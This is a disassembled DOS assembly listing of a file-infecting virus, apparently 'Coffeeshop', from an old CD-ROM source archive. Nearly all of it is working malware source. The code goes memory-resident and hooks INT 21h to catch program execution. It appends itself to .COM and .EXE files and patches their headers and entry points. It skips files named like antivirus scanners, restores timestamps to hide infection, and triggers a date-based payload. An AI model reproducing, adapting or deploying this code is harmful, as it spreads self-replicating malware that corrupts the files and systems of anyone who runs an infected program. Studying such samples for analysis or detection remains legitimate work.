home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / COFFSHP1.ASM < prev    next >
Assembly Source File  |  1992-10-11  |  19KB  |  826 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    COFFSHP1                     ██
  7. ;██                                         ██
  8. ;██      Created:   23-Jun-92                             ██
  9. ;██      Passes:    5           Analysis Options on: AW                 ██
  10. ;██                                         ██
  11. ;██████████████████████████████████████████████████████████████████████████
  12.  
  13. data_1e        equ    0F8h
  14. data_2e        equ    0FAh
  15. data_3e        equ    43Bh
  16. data_4e        equ    0F4h
  17. data_5e        equ    0F8h
  18. data_6e        equ    0FCh
  19. data_15e    equ    15A1h
  20.  
  21. seg_a        segment    byte public
  22.         assume    cs:seg_a, ds:seg_a
  23.  
  24.  
  25.         org    100h
  26.  
  27. coffshp1    proc    far
  28.  
  29. start:
  30.         jmp    loc_2
  31.         add    [bx+si],al
  32.         add    [bx+si],al
  33.         add    [bx+si],al
  34.         add    [bx+si],al
  35.         add    [bx+si],al
  36.         add    [bx+si],al
  37.         add    [bx+si],al
  38.         add    [bx+di],ah
  39.         inc    ax
  40.         add    [bx+si],al
  41.         add    [bx+si],al
  42.         add    [bx+si],al
  43.         add    [bx+si],al
  44.         add    [bx+si],al
  45.         add    [bx+si],al
  46.         int    20h            ; DOS program terminate
  47.         db    27 dup (0)
  48. loc_2:
  49.         call    sub_2
  50.  
  51. coffshp1    endp
  52.  
  53. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  54. ;                   SUBROUTINE
  55. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  56.  
  57. sub_2        proc    near
  58.         pop    si
  59.         mov    di,100h
  60.         sub    si,20h
  61.         push    ax
  62.         push    ds
  63.         push    es
  64.         push    di
  65.         push    si
  66.         cld                ; Clear direction
  67.         mov    ah,30h            ; '0'
  68.         int    21h            ; DOS Services  ah=function 30h
  69.                         ;  get DOS version number ax
  70.         xchg    ah,al
  71.         cmp    ax,30Ah
  72.         jb    loc_3            ; Jump if below
  73.         mov    ax,33DAh
  74.         int    21h            ; ??INT Non-standard interrupt
  75.         cmp    ah,0A5h
  76.         je    loc_3            ; Jump if equal
  77.         mov    ax,es
  78.         dec    ax
  79.         mov    ds,ax
  80.         xor    bx,bx            ; Zero register
  81.         cmp    byte ptr [bx],5Ah    ; 'Z'
  82.         jne    loc_3            ; Jump if not equal
  83.         mov    ax,[bx+3]
  84.         sub    ax,72h
  85.         jc    loc_3            ; Jump if carry Set
  86.         mov    [bx+3],ax
  87.         sub    word ptr [bx+12h],72h
  88.         mov    es,[bx+12h]
  89.         push    cs
  90.         pop    ds
  91.         mov    cx,620h
  92.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  93.         push    es
  94.         pop    ds
  95.         mov    ax,3521h
  96.         int    21h            ; DOS Services  ah=function 35h
  97.                         ;  get intrpt vector al in es:bx
  98.         mov    ds:data_1e,bx
  99.         mov    ds:data_2e,es
  100. ;*        mov    dx,offset loc_1
  101.         db    0BAh, 01h, 02h
  102.         mov    ax,2521h
  103.         int    21h            ; DOS Services  ah=function 25h
  104.                         ;  set intrpt vector al to ds:dx
  105.         mov    ah,2Ah            ; '*'
  106.         int    21h            ; DOS Services  ah=function 2Ah
  107.                         ;  get date, cx=year, dh=month
  108.                         ;   dl=day, al=day-of-week 0=SUN
  109.         cmp    al,5
  110.         jne    loc_3            ; Jump if not equal
  111.         mov    ah,2Ch            ; ','
  112.         int    21h            ; DOS Services  ah=function 2Ch
  113.                         ;  get time, cx=hrs/min, dx=sec
  114.         or    dh,dh            ; Zero ?
  115.         jnz    loc_3            ; Jump if not zero
  116.         pop    ax
  117.         push    ax
  118.         call    sub_3
  119. loc_3:
  120.         pop    si
  121.         pop    di
  122.         pop    es
  123.         pop    ds
  124.         pop    ax
  125.         cmp    byte ptr cs:[si+1Ch],0
  126.         je    loc_4            ; Jump if equal
  127.         mov    bx,ds
  128.         add    bx,10h
  129.         mov    cx,bx
  130.         add    bx,cs:[si+0Eh]
  131.         cli                ; Disable interrupts
  132.         mov    ss,bx
  133.         mov    sp,cs:[si+10h]
  134.         sti                ; Enable interrupts
  135.         add    cx,cs:[si+16h]
  136.         push    cx
  137.         push    word ptr cs:[si+14h]
  138.         retf                ; Return far
  139. loc_4:
  140.         push    di
  141.         mov    cx,1Ch
  142.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  143.         retn
  144. sub_2        endp
  145.  
  146.  
  147. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  148. ;                   SUBROUTINE
  149. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  150.  
  151. sub_3        proc    near
  152.         mov    bx,ax
  153.         add    bx,152h
  154.         push    cs
  155.         push    bx
  156.         add    ax,62Fh
  157.         and    ax,0FFF0h
  158.         mov    di,ax
  159.         mov    si,data_3e
  160.         mov    cx,2E5h
  161.         push    cs
  162.         pop    es
  163.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  164.         mov    cl,4
  165.         shr    ax,cl            ; Shift w/zeros fill
  166.         mov    dx,cs
  167.         add    ax,dx
  168.         sub    ax,10h
  169.         mov    ds,ax
  170.         mov    es,ax
  171.         push    ax
  172.         mov    ax,100h
  173.         push    ax
  174.         retf                ; Return far
  175. sub_3        endp
  176.  
  177.         and    [bp+di+6Fh],al
  178.         db    'ffeeShop '
  179.         db    0B0h, 03h,0CFh, 9Ch, 3Dh,0DAh
  180.         db     33h, 75h, 05h,0B8h, 01h,0A5h
  181.         db     9Dh,0CFh
  182.         db     06h, 1Eh, 56h, 57h, 52h, 51h
  183.         db     53h, 50h, 3Dh, 00h, 4Bh, 74h
  184.         db     0Ch, 3Dh, 00h
  185.         db     6Ch, 75h, 0Ah
  186.         db    0F6h,0C3h, 03h, 75h, 05h, 8Bh
  187.         db    0D7h
  188. loc_7:
  189.         call    sub_4
  190. loc_8:
  191.         pop    ax
  192.         pop    bx
  193.         pop    cx
  194.         pop    dx
  195.         pop    di
  196.         pop    si
  197.         pop    ds
  198.         pop    es
  199.         popf                ; Pop flags
  200.         jmp    dword ptr cs:data_5e
  201.  
  202. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  203. ;                   SUBROUTINE
  204. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  205.  
  206. sub_4        proc    near
  207.         cld                ; Clear direction
  208.         push    cs
  209.         pop    es
  210.         mov    si,dx
  211.         xor    di,di            ; Zero register
  212.         mov    cx,80h
  213.  
  214. locloop_9:
  215.         lodsb                ; String [si] to al
  216.         cmp    al,0
  217.         je    loc_12            ; Jump if equal
  218.         cmp    al,61h            ; 'a'
  219.         jb    loc_10            ; Jump if below
  220.         cmp    al,7Ah            ; 'z'
  221.         ja    loc_10            ; Jump if above
  222.         xor    al,20h            ; ' '
  223. loc_10:
  224.         stosb                ; Store al to es:[di]
  225.         loop    locloop_9        ; Loop if cx > 0
  226.  
  227.  
  228. loc_ret_11:
  229.         retn
  230. loc_12:
  231.         stosb                ; Store al to es:[di]
  232.         lea    si,[di-5]        ; Load effective addr
  233.         push    cs
  234.         pop    ds
  235.         lodsw                ; String [si] to ax
  236.         cmp    ax,452Eh
  237.         jne    loc_13            ; Jump if not equal
  238.         lodsw                ; String [si] to ax
  239.         cmp    ax,4558h
  240.         jmp    short loc_14
  241. loc_13:
  242.         cmp    ax,432Eh
  243.         jne    loc_ret_11        ; Jump if not equal
  244.         lodsw                ; String [si] to ax
  245.         cmp    ax,4D4Fh
  246. loc_14:
  247.         jne    loc_ret_11        ; Jump if not equal
  248.         std                ; Set direction flag
  249.         mov    cx,si
  250.         inc    cx
  251.  
  252. locloop_15:
  253.         lodsb                ; String [si] to al
  254.         cmp    al,3Ah            ; ':'
  255.         je    loc_16            ; Jump if equal
  256.         cmp    al,5Ch            ; '\'
  257.         je    loc_16            ; Jump if equal
  258.         loop    locloop_15        ; Loop if cx > 0
  259.  
  260.         dec    si
  261. loc_16:
  262.         cld                ; Clear direction
  263.         lodsw                ; String [si] to ax
  264.         lodsw                ; String [si] to ax
  265.         mov    di,3BEh
  266.         mov    cl,0Ch
  267.         repne    scasw            ; Rep zf=0+cx >0 Scan es:[di] for ax
  268.         jz    loc_ret_11        ; Jump if zero
  269.         mov    ax,3300h
  270.         int    21h            ; DOS Services  ah=function 33h
  271.                         ;  get ctrl-break flag in dl
  272.         push    dx
  273.         cwd                ; Word to double word
  274.         inc    ax
  275.         push    ax
  276.         int    21h            ; DOS Services  ah=function 33h
  277.                         ;  set ctrl-break flag dl=off/on
  278.         mov    ax,3524h
  279.         int    21h            ; DOS Services  ah=function 35h
  280.                         ;  get intrpt vector al in es:bx
  281.         push    es
  282.         push    bx
  283.         push    cs
  284.         pop    ds
  285.         mov    dx,offset int_24h_entry
  286.         mov    ah,25h            ; '%'
  287.         push    ax
  288.         int    21h            ; DOS Services  ah=function 25h
  289.                         ;  set intrpt vector al to ds:dx
  290.         mov    ax,4300h
  291.         cwd                ; Word to double word
  292.         int    21h            ; DOS Services  ah=function 43h
  293.                         ;  get attrb cx, filename @ds:dx
  294.         push    cx
  295.         xor    cx,cx            ; Zero register
  296.         mov    ax,4301h
  297.         push    ax
  298.         int    21h            ; DOS Services  ah=function 43h
  299.                         ;  set attrb cx, filename @ds:dx
  300.         jc    loc_17            ; Jump if carry Set
  301.         mov    ax,3D02h
  302.         int    21h            ; DOS Services  ah=function 3Dh
  303.                         ;  open file, al=mode,name@ds:dx
  304.         jnc    loc_18            ; Jump if carry=0
  305. loc_17:
  306.         jmp    loc_24
  307. loc_18:
  308.         xchg    ax,bx
  309.         mov    ax,5700h
  310.         int    21h            ; DOS Services  ah=function 57h
  311.                         ;  get file date+time, bx=handle
  312.                         ;   returns cx=time, dx=time
  313.         push    dx
  314.         push    cx
  315.         mov    cx,1Ch
  316.         mov    si,100h
  317.         mov    dx,si
  318.         call    sub_7
  319.         jc    loc_19            ; Jump if carry Set
  320.         mov    ax,4202h
  321.         xor    cx,cx            ; Zero register
  322.         cwd                ; Word to double word
  323.         int    21h            ; DOS Services  ah=function 42h
  324.                         ;  move file ptr, bx=file handle
  325.                         ;   al=method, cx,dx=offset
  326.         mov    di,data_4e
  327.         mov    [di],ax
  328.         mov    [di+2],dx
  329.         cmp    word ptr [si+12h],4021h
  330.         je    loc_19            ; Jump if equal
  331.         cmp    word ptr [si],5A4Dh
  332.         je    loc_20            ; Jump if equal
  333.         mov    byte ptr [si+1Ch],0
  334.         test    byte ptr [si],80h
  335.         jz    loc_19            ; Jump if zero
  336.         cmp    word ptr [di],0D000h
  337.         jae    loc_19            ; Jump if above or =
  338.         cmp    word ptr [di],7D0h
  339.         jb    loc_19            ; Jump if below
  340.         call    sub_10
  341.         jnz    loc_19            ; Jump if not zero
  342.         mov    byte ptr [si],0E9h
  343.         mov    ax,[di]
  344.         add    ax,1Ah
  345.         mov    [si+1],ax
  346.         jmp    short loc_22
  347. loc_19:
  348.         jmp    loc_23
  349. loc_20:
  350.         mov    byte ptr [si+1Ch],1
  351.         cmp    word ptr [si+18h],40h
  352.         jb    loc_21            ; Jump if below
  353.         mov    ax,3Ch
  354.         cwd                ; Word to double word
  355.         call    sub_6
  356.         jc    loc_23            ; Jump if carry Set
  357.         mov    ax,[si-4]
  358.         mov    dx,[si-2]
  359.         call    sub_6
  360.         jc    loc_23            ; Jump if carry Set
  361.         cmp    byte ptr [si-3],45h    ; 'E'
  362.         je    loc_23            ; Jump if equal
  363. loc_21:
  364.         call    sub_9
  365.         cmp    [si+4],ax
  366.         jne    loc_23            ; Jump if not equal
  367.         cmp    [si+2],dx
  368.         jne    loc_23            ; Jump if not equal
  369.         cmp    word ptr [si+0Ch],0
  370.         je    loc_23            ; Jump if equal
  371.         cmp    word ptr [si+1Ah],0
  372.         jne    loc_23            ; Jump if not equal
  373.         call    sub_10
  374.         jnz    loc_23            ; Jump if not zero
  375.         call    sub_8
  376.         mov    [si+4],ax
  377.         mov    [si+2],dx
  378.         call    sub_11
  379.         mov    cx,10h
  380.         div    cx            ; ax,dx rem=dx:ax/reg
  381.         sub    ax,[si+8]
  382.         dec    ax
  383.         add    dx,2Dh
  384.         mov    [si+16h],ax
  385.         mov    [si+0Eh],ax
  386.         mov    [si+14h],dx
  387.         mov    word ptr [si+10h],17E0h
  388.         lea    di,[si+0Ah]        ; Load effective addr
  389.         call    sub_5
  390.         lea    di,[si+0Ch]        ; Load effective addr
  391.         call    sub_5
  392. loc_22:
  393.         call    sub_12
  394.         mov    word ptr [si+12h],4021h
  395.         mov    cx,1Ch
  396.         mov    dx,si
  397.         mov    ah,40h            ; '@'
  398.         int    21h            ; DOS Services  ah=function 40h
  399.                         ;  write file  bx=file handle
  400.                         ;   cx=bytes from ds:dx buffer
  401. loc_23:
  402.         pop    cx
  403.         pop    dx
  404.         mov    ax,5701h
  405.         int    21h            ; DOS Services  ah=function 57h
  406.                         ;  set file date+time, bx=handle
  407.                         ;   cx=time, dx=time
  408.         mov    ah,3Eh            ; '>'
  409.         int    21h            ; DOS Services  ah=function 3Eh
  410.                         ;  close file, bx=file handle
  411. loc_24:
  412.         pop    ax
  413.         pop    cx
  414.         cwd                ; Word to double word
  415.         int    21h            ; DOS Services  ah=function 43h
  416.                         ;  set attrb cx, filename @ds:dx
  417.         pop    ax
  418.         pop    dx
  419.         pop    ds
  420.         int    21h            ; DOS Services  ah=function 25h
  421.                         ;  set intrpt vector al to ds:dx
  422.         pop    ax
  423.         pop    dx
  424.         int    21h            ; DOS Services  ah=function 33h
  425.                         ;  set ctrl-break flag dl=off/on
  426.         retn
  427. sub_4        endp
  428.  
  429.         inc    bx
  430.         dec    di
  431.         push    bx
  432.         inc    bx
  433.         inc    bx
  434.         dec    sp
  435.         push    si
  436.         push    bx
  437.         dec    si
  438.         inc    bp
  439.         dec    ax
  440.         push    sp
  441.         push    sp
  442.         inc    dx
  443.         push    si
  444.         dec    cx
  445.         push    dx
  446.         inc    cx
  447.         inc    si
  448.         inc    bp
  449.         dec    bp
  450.         push    sp
  451.         inc    dx
  452.         push    dx
  453.  
  454. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  455. ;                   SUBROUTINE
  456. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  457.  
  458. sub_5        proc    near
  459.         mov    ax,[di]
  460.         sub    ax,62h
  461.         jc    loc_25            ; Jump if carry Set
  462.         cmp    ax,14Bh
  463.         jae    loc_26            ; Jump if above or =
  464. loc_25:
  465.         mov    ax,14Bh
  466. loc_26:
  467.         mov    [di],ax
  468.         retn
  469. sub_5        endp
  470.  
  471.  
  472. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  473. ;                   SUBROUTINE
  474. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  475.  
  476. sub_6        proc    near
  477.         call    sub_13
  478.         mov    dx,data_6e
  479.         mov    cx,4
  480.  
  481. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  482.  
  483. sub_7:
  484.         mov    ah,3Fh            ; '?'
  485.         int    21h            ; DOS Services  ah=function 3Fh
  486.                         ;  read file, bx=file handle
  487.                         ;   cx=bytes to ds:dx buffer
  488.         retn
  489. sub_6        endp
  490.  
  491.  
  492. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  493. ;                   SUBROUTINE
  494. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  495.  
  496. sub_8        proc    near
  497.         call    sub_11
  498.         add    ax,620h
  499.         adc    dx,0
  500.         jmp    short loc_27
  501.  
  502. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  503.  
  504. sub_9:
  505.         call    sub_11
  506. loc_27:
  507.         mov    cx,200h
  508.         div    cx            ; ax,dx rem=dx:ax/reg
  509.         or    dx,dx            ; Zero ?
  510.         jz    loc_ret_28        ; Jump if zero
  511.         inc    ax
  512.  
  513. loc_ret_28:
  514.         retn
  515. sub_8        endp
  516.  
  517.  
  518. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  519. ;                   SUBROUTINE
  520. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  521.  
  522. sub_10        proc    near
  523.         call    sub_11
  524.         call    sub_13
  525.         mov    cx,620h
  526.         mov    dx,si
  527.         mov    ah,40h            ; '@'
  528.         int    21h            ; DOS Services  ah=function 40h
  529.                         ;  write file  bx=file handle
  530.                         ;   cx=bytes from ds:dx buffer
  531.         cmp    ax,cx
  532.         retn
  533. sub_10        endp
  534.  
  535.  
  536. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  537. ;                   SUBROUTINE
  538. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  539.  
  540. sub_11        proc    near
  541.         mov    ax,[di]
  542.         mov    dx,[di+2]
  543.         retn
  544. sub_11        endp
  545.  
  546.  
  547. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  548. ;                   SUBROUTINE
  549. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  550.  
  551. sub_12        proc    near
  552.         xor    ax,ax            ; Zero register
  553.         cwd                ; Word to double word
  554.  
  555. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  556.  
  557. sub_13:
  558.         xchg    cx,dx
  559.         xchg    ax,dx
  560.         mov    ax,4200h
  561.         int    21h            ; DOS Services  ah=function 42h
  562.                         ;  move file ptr, bx=file handle
  563.                         ;   al=method, cx,dx=offset
  564.         retn
  565. sub_12        endp
  566.  
  567.         and    [di+4Bh],cl
  568.         and    [bx],ah
  569.         cmp    [bp+si],si
  570.         and    ds:data_15e[bx],bh
  571.         cmp    di,sp
  572.         jb    loc_29            ; Jump if below
  573.         mov    ah,4Ch            ; 'L'
  574.         int    21h            ; DOS Services  ah=function 4Ch
  575.                         ;  terminate with al=return code
  576. loc_29:
  577.         mov    si,403h
  578.         mov    cx,170h
  579.         std                ; Set direction flag
  580.         rep    movsw            ; Rep when cx >0 Mov [si] to es:[di]
  581.         cld                ; Clear direction
  582.         mov    si,di
  583.         mov    di,100h
  584.         lodsw                ; String [si] to ax
  585.         lodsw                ; String [si] to ax
  586.         mov    bp,ax
  587.         mov    dl,10h
  588.         jmp    $+1439h
  589.         adc    ax,7FDFh
  590.         cld                ; Clear direction
  591.         mov    ah,0Fh
  592.         int    10h            ; Video display   ah=functn 0Fh
  593.                         ;  get state, al=mode, bh=page
  594.                         ;   ah=columns on screen
  595.         mov    ah,0
  596.         push    ax
  597.         sti                ; Enable interrupts
  598.         mov    bh,0B0h
  599.         cmp    al,7
  600. ;*        je    loc_31            ; Jump if equal
  601.         db     74h,0FFh
  602.         dec    word ptr [bp+si]
  603.         cmp    al,4
  604.         jae    $+2Ah            ; Jump if above or =
  605.         mov    bh,0B8h
  606.         cmp    al,2
  607.         jb    $+24h            ; Jump if below
  608.         mov    es,bx
  609.         mov    si,140h
  610.         db    0FFh,0FFh,0B0h, 19h, 57h,0B1h
  611.         db     50h,0F3h,0A5h, 5Fh, 81h,0C7h
  612.         db    0A0h, 00h,0FEh,0C8h, 75h,0F2h
  613.         db     03h, 8Fh,0B8h, 07h, 0Eh,0D6h
  614.         db    0FBh, 0Ch,0CDh, 21h, 58h,0F8h
  615.         db     63h,0A7h,0CBh, 20h, 02h,0FEh
  616.         db     20h, 00h,0FAh,0EBh,0B0h,0FCh
  617.         db    0F8h, 03h, 77h,0F0h,0E0h,0D0h
  618.         db     41h, 0Fh,0C0h, 2Fh, 07h, 1Dh
  619.         db     80h, 6Fh,0BAh,0DCh,0E1h, 34h
  620.         db    0DBh, 0Ch,0F8h,0F0h, 0Eh,0DFh
  621.         db    0FEh,0F4h,0F8h,0BBh,0AEh,0F8h
  622.         db    0E4h, 03h, 84h,0E0h,0FCh,0EBh
  623.         db    0B0h,0E6h,0EAh,0A3h, 83h,0DAh
  624.         db    0AAh, 0Eh,0DCh, 09h,0BAh,0C8h
  625.         db     01h, 3Ah,0F0h, 50h, 07h,0A2h
  626.         db    0E8h,0E0h,0ACh, 05h,0DBh, 0Eh
  627.         db     77h, 0Fh,0F8h,0DCh,0F6h,0BAh
  628.         db    0AEh,0F0h,0F6h,0EBh, 3Ah,0F0h
  629.         db    0F4h,0E0h, 40h, 17h,0FAh
  630. loc_33:
  631.         in    al,dx            ; port 10h ??I/O Non-standard
  632.         sbb    ax,0DF72h
  633.         esc    2,dl            ; coprocessor escape
  634.         jz    loc_33            ; Jump if zero
  635.         mov    dx,20DDh
  636.         sbb    ax,0DE74h
  637.         and    [bp+si-45F9h],ch
  638.         esc    0,[bx+di-8]        ; coprocessor escape
  639.         inc    di
  640.         xchg    di,ax
  641.         call    $-171Ch
  642.         clc                ; Clear carry flag
  643.         xchg    ax,dx
  644.         hlt                ; Halt processor
  645.         add    [di],bl
  646.         db     60h,0D8h,0E8h, 09h,0DCh,0FEh
  647.         db     09h,0F8h,0B0h, 23h,0F8h, 5Ch
  648.         db    0D7h,0FCh,0F8h,0FCh,0E8h, 01h
  649.         db     3Bh,0F4h,0ECh, 80h,0D2h, 1Dh
  650.         db    0BEh,0BAh, 5Ch, 20h, 7Ch, 03h
  651.         db     75h, 60h,0CAh, 20h, 0Eh,0B2h
  652.         db    0D8h, 81h,0F0h, 3Bh, 40h, 92h
  653.         db    0D7h,0B5h,0CEh,0F8h,0DCh, 60h
  654.         db    0A7h, 41h,0DEh, 60h, 02h,0B5h
  655.         db    0BEh, 3Ch, 20h, 0Fh, 7Bh, 22h
  656.         db     65h, 07h, 15h, 60h, 6Eh, 42h
  657.         db     68h,0B8h, 20h,0FEh,0FCh,0AEh
  658.         db     23h,0FCh,0E2h, 7Fh, 07h,0C0h
  659.         db    0B3h, 20h, 2Fh, 60h, 79h, 28h
  660.         db     6Ah,0DEh, 7Eh,0E0h, 08h,0D5h
  661.         db     09h,0E4h,0C0h, 60h,0C1h, 70h
  662.         db     0Bh,0DFh,0E4h, 42h,0D0h, 7Bh
  663.         db     4Fh, 5Eh, 9Ah, 05h,0ADh
  664.         db    22h
  665.         db     06h, 80h, 70h, 10h, 60h, 3Eh
  666.         db     05h,0CAh, 5Eh, 41h, 46h,0A4h
  667.         db     53h,0EFh, 15h
  668.         db    7Ah
  669.         db     97h,0C2h, 54h, 74h, 04h, 20h
  670.         db     60h, 50h, 45h, 01h,0C8h,0E8h
  671.         db    0DCh, 05h,0F9h, 06h, 54h,0D8h
  672.         db    0DEh, 41h, 2Dh, 78h, 7Ah, 01h
  673.         db     55h, 75h, 04h, 20h, 76h, 1Dh
  674.         db    0B8h, 2Eh,0EAh,0A0h,0C6h, 62h
  675.         db     55h, 83h, 8Ah, 5Eh, 09h,0C0h
  676.         db     0Ah, 5Ch, 20h,0C6h, 11h, 12h
  677.         db    0D0h, 2Ah, 74h, 58h, 5Dh, 5Eh
  678.         db     17h, 5Bh, 60h, 80h, 92h, 0Eh
  679.         db     40h,0EAh, 40h, 75h,0ACh, 62h
  680.         db     15h, 74h,0C4h, 59h, 5Eh,0C0h
  681.         db     9Dh,0C4h, 82h, 15h, 08h,0DCh
  682.         db     20h, 14h, 90h, 60h, 20h, 43h
  683.         db     66h, 62h, 94h, 50h, 3Bh, 65h
  684.         db    0ECh, 5Eh,0A4h, 1Dh,0CFh, 70h
  685.         db     80h,0C2h, 20h, 8Ah, 0Eh,0B2h
  686.         db     62h, 2Ah,0ECh, 69h,0CCh, 5Eh
  687.         db     80h, 55h,0BEh, 0Bh,0C0h, 80h
  688.         db     62h, 41h, 0Eh, 04h, 72h,0FEh
  689.         db     56h, 05h, 6Eh, 10h, 01h,0D5h
  690.         db     41h,0AEh,0FEh,0CEh, 9Eh,0D1h
  691.         db     08h,0FEh,0C4h,0E9h, 5Ch,0E6h
  692.         db    0AAh, 62h,0CCh,0C0h,0C8h, 01h
  693.         db     62h, 39h,0ECh, 6Ch,0F2h, 9Dh
  694.         db     62h,0BCh, 94h, 48h, 41h, 28h
  695.         db     4Ah, 45h, 38h, 26h,0FEh, 52h
  696.         db     1Ch, 5Ah, 5Fh,0FEh,0BEh, 40h
  697.         db     02h, 84h,0F2h, 0Ah,0B8h,0AEh
  698.         db     70h,0FEh,0FCh, 8Eh, 12h, 6Ah
  699.         db    0DEh, 54h,0D8h, 61h,0ACh, 50h
  700.         db    0B1h, 43h, 3Eh, 72h, 80h,0A3h
  701.         db     60h, 48h, 6Ah, 82h, 0Eh, 96h
  702.         db     02h, 66h, 3Ah, 6Ch, 58h, 84h
  703.         db    0B4h,0D1h, 01h, 5Ah, 48h, 3Ah
  704.         db    0EAh, 44h, 70h, 0Bh,0E8h,0D8h
  705.         db     24h, 9Eh, 28h, 12h, 73h,0C6h
  706.         db     54h,0D0h,0FFh
  707.         db    0F0h,0FFh, 60h, 34h, 50h, 00h
  708.         db     00h,0FFh
  709.  
